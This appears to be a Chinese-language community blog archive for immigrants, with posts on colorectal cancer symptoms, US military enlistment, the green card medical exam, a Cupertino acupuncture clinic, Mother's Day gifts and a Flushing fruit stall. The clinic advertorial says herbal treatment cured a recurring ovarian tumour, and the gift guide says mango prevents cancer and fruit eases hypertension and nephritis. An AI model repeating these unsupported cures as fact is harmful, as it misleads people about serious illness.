二零二零年,他们的国防支出七千三百八十亿美金。也难怪他们可以对他们的军人那么好。

2021-05-15 / by / in , , ,
大肠癌有哪些症状?如何早期发现?纽约消化科专家荆彤医生为您讲解

大肠癌在早期不是特别容易发现,因此每个人都要提高自己的警惕性。建议大家到了50岁就去做肠镜,不管有无肠胃不适的症状。做肠镜时发现了息肉要及时切掉,能有效预防大肠癌的发生。另外,如果排便的习惯出现了改变,比如,以前的大便很有规律,也很正常,现在变成不是便秘,就是拉肚子,或者大便的形状变细,甚至像铅笔那么细。发生了这样的改变要尽快找消化科医生做检查。

另外,便里带血也要引起注意。有的患者在被询问到是否便里带血,患者会说:便里是有血,不过不要担心,是痔疮。很多人习惯将便血归因为痔疮引起的。事实上很可能不是痔疮引起的便血,尤其是中年以后,发现便里有血一定要注意了。

再有,无原因的腹部胀痛也要小心。有时摸到肚子里有肿块,而且在不断变大,要小心。或者在验血时发现贫血,食欲下降,体重降低,这都有可能是大肠癌的早期症状。

2021-05-12 / by / in
美国参军详解 征兵考试ASVAB解答 美国参军体检|如何选择兵种

文|雨荷

美军作为世界上最强大的军队,其规模和装备均位于世界第一。在大量的好莱坞影片中,美国军人几乎成为百战百胜的代名词。在2017年美国的数据统计,华人在美国军队中当兵是6000人左右。而且,近几年这个数值还有增长。那么想成为美国军人,美国参军体检和征兵考试ASVAB就很重要。

参军的基本条件:

1.持有绿卡或是美国公民。

2.需达到高中以上学历 。

3.身体健康,不能有影响到体能和训练的疾病。

4.不能有重大刑事犯罪记录,已婚人士也可以参军。

5.禁止有外露的纹身,要求:军服覆盖之外的部位不能纹身,内容不能有种族歧视、色情、暴力。

对于想要参军的,先去附近的一个征兵办公室,你可以到https://www.goarmy.com/查询,来确定征兵办公室的存在。

美国参军 示意图。

下一个流程就是你要把征兵官需要的所有文件都带上,你的绿卡、社会安全卡,还有学历证明,还有护照或者在中国的出生证明、出生公证。

如果是在中国毕业的,通常是需要翻译,可以找征兵站的华人征兵官,一般他们是经过军队认证的。单身人员参军提交上述材料就可以。

已婚人员参军还需要提交结婚证、配偶的出身证明、配偶的社会安全号ID、配偶的驾驶执照号码以及孩子的出生证明。 是美国公民的话需要提交公民纸(公民证),在美国出身的话需要出身证明。 征兵官是希望参军人员尽可能带齐所需文件,把资料填写全面。 没有出生证明的情况下,海外出生的美国公民只需要公民纸,但需要2-3天的时间审批。

征兵考试ASVAB 示意图。

通过征兵考试ASVAB军队职业倾向测验,考试内容相当于美国高中毕业数学和英语的程度。如果在美国高中毕业通常都可以一次性通过。 征兵办公室会有一个模拟考试,征兵官会推算出大概成绩。如果分数不理想,征兵官会推荐一家复习网站。

当考试过了以后就要申请预约体检,体检的时候在申请过程当中,应该要先让征兵官知道你所有过去的病历,住院、做手术这些病例,提供相关的证明以后,就可以申请这个体检。体检内容包括:眼睛、耳朵、验尿、血液。

无论是男性还是女性申请参军的要求都是一样的。 女性可以参加军队的所有工作。 毕业要求上女性和男性的不同在于俯卧撑,女性要求17-21岁女性,2分钟需要达到17个俯卧撑;跑步18分钟54秒内完成2英里距离。

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参军体检 示意图。

专家介绍怎么选择兵种?美国军种待遇差别:

美军分为六大军种,即陆军、海军、空军,太空军,海军陆战队,以及海岸警卫队,由总统统帅全军。

美国空军待遇相对好些,在饮食等方面,因为有很多飞行员。但是每个军种有什么差别,各军种收入都是一样的。

根据你的兴趣爱好,有些人对这个航空航天他比较感兴趣,可以选择去空军;对航海比较感兴趣,想周游世界,他可以去选择海军;陆军的兵种会多一些,陆军步兵是跟打仗相关。但也有与打仗没有关系的兵种,比如炊事员兵、出纳兵,这些兵也需要军训,但没有步兵训练强度大。所以要选择说哪一种兵种,选择哪一种职位,这个是需要考试来决定的。

军队福利 示意图。

去当兵就有点像是去买车一样,什么意思呢?每一个军种都有他的招聘站,可以去和这个招聘站的招聘员谈,要当几年的兵,当什么兵种?在考试成绩达到的。达到这个基础上,还可以谈想要当几年。

如果打仗,军队福利会更好一点。你可以谈的优先条件会多一些,因为打仗的时候当兵人可能比较相对少一点,因为它有一定的危险。比如说你还可以要求当兵的奖金,还可以要求当兵的奖学金、上学的钱,这些都是可以讨论。

根据职位考试:

每个军种都有自己的招兵站,在考试成绩合格的情况下,服役年限、服役兵种都可以选择。
战争时期,可以在奖金以及奖学金方面向军队争取。

打仗的兵种就是步兵,但是还有很多人去陆军,有的职业和打仗没有关系,比如炊事员、出纳兵。这些兵也需要军训,军训的强度没有步兵的军训强度强。你要选择哪一种兵种,选择哪一种职位,可以根据你的兴趣爱好,但是有一点你选是哪一种职位,这个是需要考试来决定的。

步兵 示意图。

去当兵就有点像是去买车一样,什么意思呢?每一个军种都有他的招聘站,可以去和这个招聘站的招聘员谈,要当几年的兵,当什么兵种?在考试成绩达到的。达到这个基础上,还可以谈想要当几年。

如果打仗,军队福利会更好一点。你可以谈的优先条件会多一些,因为打仗的时候当兵人可能相对比较少一点,因为它有一定的危险。你还可以要求当兵的奖金,要求当兵的奖学金、上学的钱,这些都是可以去和他谈。

转军种:

如果参加陆军4年,合约结束后才可以换到其他兵种。军中之间的更换,在执行完之前的兵役合同之后才可以转换兵种,中途不可以换。

美国陆军参军咨询 347-733-6639

2021-05-12 / by / in , , ,
美国纽约移民体检 绿卡体检 | 体检医生 流程 体检项目 表格 费用 一文看懂

申请成为美国永久居民(申请绿卡)的过程中,移民体检(绿卡体检)是非常关键的一步。无论在美国或美国境外申请身份调整,都必须要通过移民体检。很多人会因此而担心和紧张,其实这是完成移民过程的一个步骤,特别在纽约这样的大城市,各类资源充分。当你了解了体检的内容和流程,就无需担心了。

纽约移民体检诊所(718) 285-9688 /家庭医生诊所/移民体检医生

什么是移民体检 绿卡体检

无论因为亲属、工作、投资或其它原因,当您需要申请美国永久居民—绿卡时,移民体检是必不可少的一步。

移民体检由政府指定的医生(Civil Surgeons)进行,检查内容会包括:

  • 身心评估Physical and mental evaluation;
  • 病史和免疫记录 Medical history and immunization records review;
  • 各类疾病检测 Tests for various diseases and illnesses。

下面,我们会详细解释这些项目,包括如何查找移民体检医生。

在美国境内的移民体检,与在美国境外领事处申请移民体检流程是不同的。

美国境内移民体检 绿卡体检

在美国境内申请身份状态调整(Adjustment of Status),您必须向移民局提交调整身份申请表(I-485) 。这时,按照绿卡排期估算,申请人需要找移民局指定的医生做体检。体检结果和疫苗接种记录会由医生记录在体检和疫苗报告(Report of Medical Examination and Vaccination Record), 表格I-693中。

因此,首先要预约美国公民及移民服务局(USCIS)指定的医生(Civil Surgeons)。医生会按照疾病控制与预防中心(CDC)规定的技术说明进行体检。体检完成后,医生会把表格用信封封好,由申请人转交移民局USCIS。申请人会拿到一份副本。如果移民局收到的信封没有封好,或被打开了,或有修改的痕迹,将被视为无效证明。

体检表要在表格填好后的60天之内递交给移民局,有效期是两年。接着,就由移民局来决定状态调整(adjustment of status)的结果。如果没有什么不审批的理由,申请就可以批准下来。

 

USCIS(图片:Gulbenk/wikimedia

这里要提醒大家的是,在提交移民申请时(如提交I-485表),I-693体检表的医生签名时间不能超过60天。比如,当你在2021年5月31日提交I-485表时,你的I-693表医生签名不能早于2021年4月1日。

寻找移民体检,绿卡体检医生

每个城市都有移民局授权的医生可以进行移民体检。打开移民局官网,假如你在纽约,输入自己街区的邮编,就可以找到附近的体检医生了。

查找移民体检医生(图片:USCIS网站)

 

要准备的材料

去体检时,要准备好以下材料:

  • 政府签发的合法身份证明Photo ID, 可以是护照和驾照;
  • 以前的疫苗接种记录;
  • 保险卡。体检一般都是自费,除非有特殊情况;
  • 如果有健康问题的,建议可以带上医生书面的治疗计划;
  • I-693表格。做移民体检的医生都有这个表,如果想提前看一下,可以从移民局网站上浏览或下载

I-693表格 (图片:USCIS网站)

体检项目和流程

现阶段的美国移民体检主要内容是:移民体质检查(包括精神状况的评估);结核菌素反应检验(肺结核等),2岁以下不需要这项检验;血清检查(检查是否带有爱滋病毒和梅毒);还有就是预防接种。

一般的流程是:

  • 查找体检医生;
  • 预约体检;
  • 当天的常规检查;
  • 补打疫苗;
  • 2-3天后,到诊所查看肺结核检查结果和血液检查结果;
  • 检查结束后,医生在检查报告上签字,然后打包、密封。(切勿自己打开

移民体检的常规检查项目包括:身高、体重、血压、尿检、验血等;

疾病检查包括检查是否患过结核病,并检查疫苗记录。

肺结核检查

肺结核检查需要做TB皮试(Tuberculosis Skin Test),皮试结果要等待48-72小时。皮试没有反应就表明是阴性(48-72小时后,皮试处没有大于5mm的红色肿块,表明是阴性)。

专业的体检医师会看情况来判断皮试结果,如果TB皮试测试阳性,体检医生会安排胸部X光透视(Chest X-Ray)检查肺部阴影。根据胸透结果,医师再来判断是否需要服药治疗。

儿童体检

年龄在15岁以下的儿童,移民体检时一般不需要做X光胸透和血液检验。

预防针要求

根据美国移民法要求,无论是从美国境外申请绿卡进入美国或在美国境内申请绿卡身份调整(adjustment of status),申请人都必须证明已经接种下列14种疫苗:

移民体检疫苗要求 (图片:CDC网站)

 

Mumps腮腺炎                                               Measles麻疹

Rubella风疹                                                   Polio流行性脊髓灰质炎

Pertussis百日咳                                            Haemophilus influenzae type B (Hib) B型流感

Hepatitis A 甲型肝炎                                    Hepatitis B 乙型肝炎

Rotavirus轮状病毒                                       Tetanus and diphtheria破伤风及白喉

Varicella水痘                                                 Meningococcal disease流行性脑脊髓膜炎

Pneumococcal disease 肺炎                       Seasonal influenza流感

了解最新要求,可以查看CDC官网

体检医生会查看您以前的预防针记录,所以体检时要带上以往打过预防针的书面证据。如果申请人没有接种疫苗,可以在体检医生诊所接种,也可以选择由私人医生给您打要求的预防针。但是要把预防针已打的证明提供给体检医生,只有体检医生有权填写I-693体检表。接种疫苗会产生费用,所以,打过疫苗的证书要妥善保管,可以节省以后的费用。

如果没有预防针记录,通过验血发现你已经有足够的免疫力,都可以证明不需要再打多余的疫苗了。比如麻疹、风疹、腮腺炎、水痘、乙肝等,通过验血都能证明抗体的存在,只要抗体有足够数量,符合要求就行了。

这里再次提醒一下,在美国境内的体检有效期是2年,请计算好绿卡的申请时间再体检,以免重复检查!

体检费用

绿卡体检的费用,各家诊所的收费都是不同的,取决于需要打的疫苗和医生的收费等等。找一家收费合理的诊所可以省下不少钱。

同样的疫苗,不同诊所收费也是不一样的。如果您的疫苗记录不全,需要补打疫苗的话,最好还是货比三家一下。

哪些疾病影响移民美国

有的人可能或多或少有一些健康问题,但都在可接受的范围,配合治疗就可以,因此不必过分担心、故意隐瞒。

即使移民申请人有身体或精神上的疾病,移民局不会因此判断你是否适合移民,因此拒绝你的移民请求。移民局会根据体检结果判断这些疾病会不会对你自己或别人造成伤害。如果有潜在伤害的话,有可能会被认为不适合移民。

如果检查结果有某些方面的问题,医生会提出合适的治疗或转诊计划,另外,移民局也会通知你是否需要申请一个豁免,移民局有具体的豁免条例。

美国移民局和CDC会把最新影响移民的健康状况提供给移民体检医生,分为A类和B类两种:

A类(Class-A)健康问题,不允许申请永久居民,包括:

  • 重大公共传染疾病;
  • 没有疫苗接种证明;
  • 可能导致伤害行为的身体或精神疾病;
  • 药物滥用、上瘾及与药物滥用有关的身体或精神疾病。

B类健康状况的定义是程度严重的身体或精神状况、疾病或者残疾。B类健康状况不会直接导致申请被拒绝,但是有可能导致申请人由于其它理由被判定不批准,例如:无法生活自理,需要长期大量的医疗护理可能被认定是公共负担。

一般情况下,大多数人都不会有以上的问题。作为移民局规定的一部分,大家了解一下也很重要。

如果您有关于移民体检方面的疑虑,可以寻求当地移民律师或移民体检医生咨询。

美国境外移民体检绿卡体检流程

如果移民申请人从美国境外申请移民,那么申请人需要由美国国务院指定的医生(panel physician designated by the U.S. Department of State)进行体检。疾病控制与预防中心有单独给境外国务院指定医生体检用的指示。

对于在美国外的申请人,请访问美国国务院网站,就能找到居住地区当地的指定医生。

中国大陆的北京,上海,广州以及福州四个城市可以进行移民体检,移民局发来的信件内就可以查找到移民体检、绿卡体检的医院。

愿各位能顺利通过体检,早日申请到绿卡。

以下提供大家更多有关移民和绿卡申请信息。

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申请美国绿卡 紐約移民案件被延遲怎辦?联邦催办令的流程指南

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法拉盛可信赖的华人家庭医生/宋瑾博士(718)290-5810

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最新绿卡排期 2021年6月已发布 | 职业移民 亲属移民

纽约移民体检流程

美过移民体检周期

移民体检项目

移民体检费用

移民体检注意事项

移民局制定体检诊所

 

2021-05-12 / by / in ,
美国参军流程指南 入伍的条件 当兵的待遇

文|雨荷

在美国当兵就是一份职业,有工资、有带薪年假,还有全额免费的这个医疗保险和各种福利制度。世界上任何一个国家如果真的打起仗来,服兵役都是强制性的。唯独在美国当兵不是,它是雇佣兵,要签合同。雇佣兵就像你的工作一样,当兵的人是可以按时上下班的。但中国就不是,他们会住在部队里面,生活在部队里。美国不是这样,是有选择的,就是即可以住在军营里,也可以住在军营外,还可以自己租房子住。美国的这个兵役还是很人性的。

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美国征兵的合同由过去最短的三年半变成了现在的两年。这个招聘计划只在是帮助一些朋友,觉得部队工作不错,但是又犹豫不决,怕进去之后不喜欢或怎么样,所以就推出两年的计划。

美国陆军 示意图。

美国陆军提供超过一百五十项职业选择,除了前线作战,还有大量的文职后勤工作,包括人力资源、金融、医科、工程等。军队的待遇除了基本工资以外,还提供房屋、伙食补贴以及全家免费医疗保险等。

对于新兵来说,最高是工资起薪是两千五百块钱一个月。除了薪金之外,如果是有小孩或者是结婚的士兵,在新兵训练期间和技能培训期间,纽约的申请者他每个月还有三千块钱的住房补贴,同时还有三百块钱的伙食补贴,全家的医疗保险全都免费。

美国海军募兵/纽约招兵/美国参军646-893-9824 /法拉盛征兵/美国当兵/快速入籍

现在还有一个住房贷款计划叫VA Loan,就是帮助士兵可以零首付、低利息买下他人生中第一套房子。还给士兵的家人提供医疗保险,并且是美国里面最好的,而且是免费。陆军已经给所有的士兵提供免费医疗保险。

美国军人还可以在部队里面读的大学,而且全都是免费的。美国陆军的招募要求为年龄在十七岁到三十七岁之间的绿卡和美国公民,高中毕业,无重大犯罪记录和严重伤病历史,美国陆军基本为百分之百录取制度,而参军者需要经过两个半月的体能训练,通过体能训练和。职能培训后,没入籍的还可以马上申请入籍美国公民。

美国参军者 示意图。

想要在美国当兵也并不是一件容易的事情,需要达到以下各项标准。

美国参军者身高标准要求

男性申请人的身高在152.4 cm至203.2 cm之间;对于女性申请人,范围在147.32 cm至203.2 cm之间。

应聘者不需要相关工作经验,军队会对参军者提供全面的带薪培训。

美军士兵入伍条件:

1.美国公民或具有有效绿卡的永久居民

2.年龄在17-35岁之间

3.ASVAB考试通过

4.符合医学条件

5.具备高中或以上学历, 接受国外同等文凭证书

美军士兵入伍条件 示意图。

美军对于官员入伍条件:

1.美国公民或具有绿卡的大学毕业生

2.年龄在18至32岁之间

3.符合医学条件

4.有资格获得秘密安全检查

美国海军参军咨询 646-893-9824

2021-05-10 / 1 Comment / by / in , ,
在美国看中医针灸,怎么样用医疗保险 ?(旧金山南湾中医针灸诊所好文章推荐)

在美国看中医针灸,怎么样用医疗保险 ?

(蘅芜医苑诊所 408-646-6491 旧金山南湾中医针灸诊所: 好文章推荐)

中医是有着几千年历史的传统医学,讲究“治未病”,重在对疾病的预防,通过针灸刺激穴位、调整身体的阴阳平衡而达到身体康复。我们华人应该都有过看中医的经历,那么,在美国的华人怎么样看中医?是什么样的流程?可以用医疗保险吗?

传统中医

中国传统中医可追溯到三皇五帝时期,相传伏羲发明了针灸,神农炎帝尝百草,在中国远古时代就为中国华夏文明奠定了中华医学的基础。后来的历史中又出现了像神医扁鹊,医圣张仲景,药王孙思邈等古代医学家,不断总结着中医理论,写下了很多珍贵的中医著作。

中医认为人体是自然的一部分,讲究“天人合一”。自然界的各种变化及每个人的体质特点都会是造成疾病的原因,治疗时要考虑天气、地理位置和不同的人体体质,因人制宜,“一人一方”,不能千篇一律。

人体是一个整体,中医认为人体各部分器官共处于一个整体之中,是互相联系、互相影响的。不能孤立地看待某一种病理现象,而头痛医头,脚痛医脚。

中医的经络学说认识到,经络是人体气血运行,联络脏腑、沟通上下的通道。人体遍布脉络,包括十二正经、十二经别、奇经八脉等。人体气血的正常循环,能使各个器官组织保持稳定和平衡。然而当经络系统出现阻塞不通时,人体就会出现异常。

人体脉络上遍布穴位,人体五脏六腑的十二条正经,加上身体正面中央的任脉、背面中央的督脉,这十四经络上所排列的穴道,称为正穴,全部共有三百六十五处。再加上的其它穴道,数量更多。中医通过针灸这些穴位,可以克服经络的阻塞,使气血正常运行,病症因此得以治愈。其中,针与灸是两种治疗方法,传统中医多用针法来治疗急性病,用灸法来治疗慢性病。针灸治疗的特点是疗效快、简单、便宜。

针灸针对不同的身体表现,中医的治疗方法有很多,除了针灸,还有推拿、按摩和草药等方法,还可以相互组合,疗效非常神奇。

几千年来,中医治愈了无数的病患。就是在当今,中医也解决了很多西方医学治愈不了的疾病。

有一名年轻女子因为卵巢肿瘤,动手术切除后,没想到过了2、3年,肿瘤又复发。女子很崩溃,经人介绍去看一位中医师。女子是西人。中医师就给她举了“木耳”的例子,潮湿的木头会长出木耳,湿寒的体质容易长肿瘤。仅仅把木耳摘除,不改变木头的潮湿,是不是木耳还会长出来?如果让木头变得干燥,就不会长木耳,是不是根本上解决问题了呢?女孩明白了,配合中医调理身体,排湿寒,使体内气血正常运行。经过一段时间,再去复查,病症消除了。免除了再次动手术的可怕后果和一大笔医疗费用。

因此,中医是治“本”,运用中医诊疗方法,找到“病”的更深层次的原因,通过调节人体平衡、气血通畅,从而提升人体自身免疫能力,达到身体的健康。

在美国的中医针灸

美国的大城市都有中医诊所。据美国食品药品监督管理局(FDA)估计,针灸在美国作为替代医学,每年有1500万人选择针灸治疗。中医针灸由于能够解决人们的身心疾病,越来越受欢迎。

越来越多的人发现,西医为检查病症需要大量检查,费用昂贵;对于疾病可选的药物有限,有的很快产生耐药性。并且西药作为化学合成物,又有很多已知或未知的毒副作用。

出于对自然回归的需求,以及化学药品副作用的担忧,很多美国人转向传统药物治疗。同时,单一的治疗方式也无法满足人们的需要,当某种疾病西医看不好时,人们便会转向传统药物治疗,而中医是其中最受欢迎的。

近年来,欧美国家发表了多篇针灸临床效果的论文。美国国立卫生研究院(NIH)的研究表明,针灸是单独或与常规疗法结合使用的有效疗法。

美国大多数的州都有法律监管中医,加州是美国首个州份立法监管“针灸学”,早在1976年加州便开始向针灸师发放专业执照。

怎么样用医疗保险

美国联邦政府主管的Medicare(老人卡或红蓝卡)规定,可以支付90天内12次针灸治疗慢性下背痛,对有改善的患者、可以增加8次治疗。

也就是说,如果您有Medicare医疗保险,当慢性下背疼痛时,就可以有12到20次可以报销的针灸治疗。美国联邦医疗保险Medicare涵盖占美国总人口15%的约4千4百万65岁以上老年人及残疾人。

其它的商业医疗保险,比如常见的HMO或PPO,也有很多是涵盖针灸治疗项目的。就是说,针灸治疗,保险公司是可以报销的。不同的是,HMO需要家庭医生转诊,而PPO不需要。

各种医疗保险细节方面的事项,大家在买商业保险时,都可以了解清楚。比如,什么情况下可以看中医针灸,哪些中医诊所在保险范围内,有没有次数规定,自付费用比例,等等。

在看中医针灸前,可以提前咨询专业医师,说明症状并问清楚是否适于中医针灸治疗。

加州知名中医

蘅芜医苑诊所(Sun Huaxin Chinese Medicine Acupuncture Clinic)坐落在美国加州南湾库比蒂诺(Cupertino)市。诊所提供多种中医治疗服务,共有五个诊室,包括:针灸、推拿、拔罐、艾灸、中药等。

一、针灸

针灸是传统中医治疗方法,分为“针”和“灸”两部分。针灸除了可以止痛,在治疗肿瘤、出血等其他各类疾病方面也有显著疗效。

《黄帝内经》记载,针有九种,现在人常用的是九针中的“毫针”、“长针”和“锋针”。毫针和长针的运用,是使它们在穴位上提插或扭动,刺激穴位引起神经活性,达到治病的效果。锋针,就是利用它针口的锋利性,刺破某些穴道令血液流出一些来,达到治病效果。

灸,是在穴位处燃烧艾草,用燃烧艾草的温度、和燃烧艾草而挥发出的精油刺激,令穴位神经活性被激荡,达到治病的效果。

艾灸

 

二、推拿

推拿疗法是以中医的脏腑经络学说为指导的。经络是人体气血运行的通路,如果气血循经顺利运行,那么人自然身体健康,如果气血运行受阻,人就产生疾病。推拿疗法就是中医师用自己的双手作用于病患的体表、受伤的部位、不适的所在、特定的穴位、疼痛的地方,运用推、拿、按、摩、揉、捏、点、拍等形式多样的手法和力道,使经络畅通阴阳平衡,从而使人保持一个健康状态。

三、拔罐

拔罐是以罐为工具,利用燃火、抽气等方法产生负压,使之吸附于体表,造成局部瘀血,以达到通经活络、行气活血、消肿止痛、祛风散寒等作用的疗法。

蘅芜医苑运用传统中医疗法,针对各种痛症、忧郁症、焦虑症、美尼尔氏综合症、过敏、失眠、更年期综合征、不孕症、减肥、脱发等常见适应症均有良好疗效。

蘅芜医苑在使用以上几种治疗方法的同时,还因人制宜配置中草药,配合中药服用可以见效更快,治疗效果更好。

蘅芜医苑的孙华欣针灸医师毕业于国际医药大学,加州执照中医师,全国执照中医师,博士生在读。

孙华欣针灸医师得到其恩师几十年的行医经验传授,本人在不断的学习和临床实践中,励志不辜负恩师的培养,尽己所能,未来余生将致力于发挥中医特色治疗,减轻病患的痛苦,帮助更多的人摆脱病痛及亚健康状态,回馈社会。

孙医师手捧患者献花

蘅芜医苑诊所设在美丽的南湾城市库比蒂诺Cupertino,诊所环境整洁优雅,各项设施齐全。

如果您或家人朋友正在承受病痛的折磨,欢迎来蘅芜医苑就诊。

诊所电话:408-646-6491

诊所地址:10430 S De Anza Blvd STE 230A, Cupertino, CA 95014

诊所营业时间:

周二  9:00-18:00

周四  9:00-18:00

周五  9:00-18:00

周六  14:00-18:00

周日  14:00-18:00

2021-05-09 / by / in , ,
母亲节给妈妈送什么礼物?2021年母亲节最走心的礼物单/订购水果鲜花篮成首选

文/弗光照

今年5月9日是母親節,你會在這一天為媽媽送上什麼禮物呢?2021年母親節禮物單,15件最走心的母親節禮物,美國紐約訂購水果鮮花籃成首選。另外,還有哪幾件是您滿意的?對於媽媽而言,收到禮物、賀卡當然開心,但她們更為期待的是家人的陪伴!抽點時間回家看看,別忘了帶上—水果鮮花籃哦!

1水果鮮花籃:為什麼送水果鮮花籃成首選?因為水果鮮花籃美觀、實用兼具。水果和花束搭配,包裝精美色彩艷麗,會令人眼前一亮,母親節的氣氛隆重又熱烈。成熟的水蜜桃哈密瓜散發滿室果香,滿滿品嚐水果的垂涎和期待。水果鮮花籃寓意也非常好,祝福媽媽健康之意。例如:蘋果、橘子、橙子、火絨果代表平安健康、吉祥如意。

  • 送水果鮮花籃美觀又體貼,比如,照顧到媽媽的牙口,可以選擇香蕉、芒果、獼猴桃之類的,果肉軟糯,容易消化,有利於體內廢物和毒素的排出;桃子、、香蕉有助於通便;
  • 蘋果、梨、桃子的外皮含有豐富的膳食纖維,有預防便秘、腸癌、腦血管疾病等功能,營養又健康!
  • 選擇奇異果、葡萄、櫻桃等鮮甜多汁的水果,富含維生素A,有助於預防和緩解關節炎;
  • 芒果含有大量的維生素A,有防癌、抗癌的作用。
  • 含有豐富維生素B6的水果,如蘋果、冬棗、龍眼等,有助於改善失眠;
  • 一些異國水果,如紅毛丹,荔枝,龍眼、金橘,木瓜等,可以維持體內的酸鹼平衡,有利於緩解和康復高血壓和腎炎。

2傳統禮物—康乃馨和賀卡:是母親節的必備品。工作再繁忙,也可以網上訂購一束康乃馨給媽媽,附帶一張問候卡片。心意更重要,很多禮物雖然價格高昂,可媽媽們卻不一定喜歡。問候卡片是媽媽們最想收到的禮物。

3傳統的禮物—定制蛋糕:定制一個媽媽喜歡的口味,不管是什麼場合什麼節日,只要有一個蛋糕氣氛都會更好!

4一家人聚餐:母親節這一天子女們會在一起聚餐,預訂餐館、在家烹飪、或點外賣。總之,不要媽媽做飯,享受一天的清閒。

5孩子製作早餐:有的學校提前教學生製作簡單的早餐,不少孩子會在節​​​​​​​​​​​​日當天早早起床,為母親準備早餐、端到母親床頭,以此表示對母親的感恩和愛。

6為媽媽下廚:在母親節這一天,媽媽要好好的休息,老公和子女為她煮飯,有別樣情趣!

7手工DIY製作禮物:每年母親節前,各中小學校老師都教育學生對母親感恩,並組織學生親手為母親製作禮物,物美價廉又誠意滿滿。

8旅遊:一家人去旅遊,逛街,吃大餐,送給媽媽的禮物便是美好的回憶。別忘了帶上相機!年輕時創造回憶,年老時享受回憶。

9按摩器等:隨著年紀增長和常年家務操勞,有的媽媽的關節、肩背經常酸痛,送一個合適的按摩器是一個不錯的選擇。

10首飾擺件、絲巾服飾之類的:穿衣打扮,那個女人不愛美呢?

11香水:了解到媽媽喜歡的香水,可以給她一個驚喜!

12送化妝品、護膚品、美容品:女人都希望自己永遠年輕,因此在母親節為媽媽、妻子送上一份美容品(特別是一些媽媽自己平時捨不得買的)也是不錯的選擇哦

13送購物卡或現金:讓媽媽們買她們最想買的東西。

14視頻、電話向母親問候:不能與母親團聚的子女,遠遠的問候,報個平安,媽媽就很滿意了。

15別出心裁:你也可以選擇在母親節這天為母親們送上一些特殊的禮物,如果你有什麼好主意,不妨也寫下來分享給大家哦!

這個母親節,你準備怎樣以寸草心報得三春暉呢?

2021-05-08 / by / in
母亲节的来由/母亲节为什么送康乃馨/2021年美国纽约网上订购鲜花

文/弗光照

每年5月的第二個星期日是母親節!今年的母親節是5月9日。隨著節日的臨近,美國紐約母親節的氣氛越來越濃鬱,為人子女的忙碌著,買鮮花、水果籃、禮物……母親節送什麼花?母親節當然是送康乃馨囉!網上訂購花束時,看到精美包裝的花束,花團錦簇、美輪美奐,有沒有被驚艷到?分享給你們看看:http://flower365day.com/美國紐約意境名家鮮花網(法拉盛緬街週邊免運送費)好耶!

 

一.母親節的來歷:

母親節,是感恩母親的節日。古代母親節源於古希臘,是古希臘人respect眾神之母—瑞亞的日子。而現代母親節源於美國,是由安娜·賈維斯(Anna Jarvis)提出,受到社會各界的響應,最終獲得政府的支持,成為母親節。

其中,還有一段佳話:美國安娜•查維斯夫人祈禱時說“但願在某處、某時,會有人創立一個母親節,紀念和讚揚美

國與全世界的母親。”她的願望實現了!

如今,母親節已成為世界人們的共同節日,在各地流行起來。因為我們都需要一個感恩母親的節日!噹噹當—當!送媽媽康乃馨的習俗,亦隨之而來了!

二.為什麼母親節要送康乃馨呢?

其實,這是源於1934年5月,美國第一次發行母親節的紀念郵票,郵票上一位慈祥的母親,看著花瓶中的康乃馨。從此,在人們心目中,康乃馨就成為了母親花。每年的母親節,一束康乃馨和一聲問候,滿滿的寄託著人們對母親的愛意。

三.不同顏色的康乃馨,各自代表什麼含義呢?

康乃馨是母親節的傳統禮物,康乃馨有多種花色,常見的有紅色、粉色和黃色。搭配各色的滿天星和黃鶯,以及在粉色系的精美包裝下,滿滿的表達了子女們的感恩。康乃馨的花語是愛、尊敬和祝福,代表了對媽媽的愛和尊敬。

但不同顏色的康乃馨涵義不同,送花前要了解清楚。

紅色康乃馨:代表對母親的愛,和祝福媽媽身體健康。

粉色康乃馨: 代表對媽媽的愛,並祝福媽媽青春常駐美麗依舊。

紫色康乃馨:優雅、美好、感謝之心

藍色康乃馨:永恆的幸福、

橘色康乃馨:熱情、純潔的愛

白色康乃馨:悼念亡母、尊敬

黃色康乃馨:代表友誼、感恩母親、感謝。(*但是,黃色在西方代表消極,所以送黃色康乃馨就要慎重了。)
一般而言,母親節多數人會選擇粉色和紅色色康乃馨,或者是各種顏色的康乃馨的搭配。

人的一生之中,有多少幸福時光,有多少美麗的記憶。母親節過的是感情,請把握當下,珍愛自己,珍愛家人,珍惜幸福。

四.母親節經典問候語:

  • 天地很大,我卻走不出您的牽掛;一聲問候,一束康乃馨,一句我愛您,媽媽!
  • 再羞澀也要勇敢表達,再忙碌也要抽空回家,再遙遠也要通個電話,再簡短也把短信來發,再熟悉也要祝福媽媽:母親節快樂!
  • 洗衣做飯操持家務,終日不歇身影忙碌。在這個特殊節日,我送你三個祝福:“健康”、“平安”和“快樂”(一個陪你終生,一個伴你左右,另一個留你心中) !請媽媽笑納!

最後,祝愿天下母親“Happy mother’s day!”母親節快樂!

2021-05-08 / by / in
最好的水果獻給母親 !纽约法拉盛金果园水果专家牛姐(牛菊英)为母亲节特别推荐。

主標:最好的水果獻給母親

下標:牛姐幫你挑水果

文|王曉蓮 圖|Jimmy Song

金果园热线:917-365-6016

艷陽高照的5月,春暖花開,在這個溫馨的季節,我們也將迎來最溫馨的節日——母親節。

平日裡吃慣了母親為我們精心製作的愛心美味,當這個感恩的日子來臨,也一定要將最好的美味獻給她,以表達我們的感恩、誠意與祝福!

各式水果一直是女士們的最愛。媽媽喜歡吃什麼水果呢?蘋果、橘子、香蕉……,這些日常水果都太普通了吧,今天就讓法拉盛金果园水果專家牛姐幫我們介紹幾款與眾不同的精品水果。

金果园:水果蓝

★只賣精品水果的水果专卖店

在我們眼裡差別不大的各式水果,在牛姐眼裡就完全不同了。牛姐(牛菊英)在大陸從事水果經營近20年,2015年來美國後,在法拉盛緬街地鐵口旁租了一個不大的水果攤位(金果園),房東告訴她,這裡沒有人能經營超過1年,如今牛姐的小水果攤已經經營6年了,最新鮮的水果、別處買不到的精品水果都能在這裡找到,好品質口耳相傳,回頭客絡繹不斷。

站在自己攤位前的牛姐,總是面帶微笑,能給客人帶來最好的味道和身體的健康,她感到非常高興,她非常享受這個過程。

法拉盛金果园老板:牛菊英女士

★最好吃的以色列橘子

牛姐拿著兩個看起來很像的橘子告訴我們,這個標籤標號是4055的是以色列橘子,這是最好吃的橘子。它集中了所有橘子的優點,皮薄、水分多,甘甜,吃完之後嘴裡沒有任何雜質,銷量最火爆。它外包裝是紫色的,看起來很好看,很高貴。當然,市面上也有冒牌的以色列橘子。

另外一個叫醜橘,僅次於以色列橘子,外表看起來不好看,但是也很甜,是排名第二的橘子。

牛姐說,買水果一定不要看外表,看外表會吃虧,就跟看人一樣,不要看外表。另外要品嚐,品嚐後滿意再買。

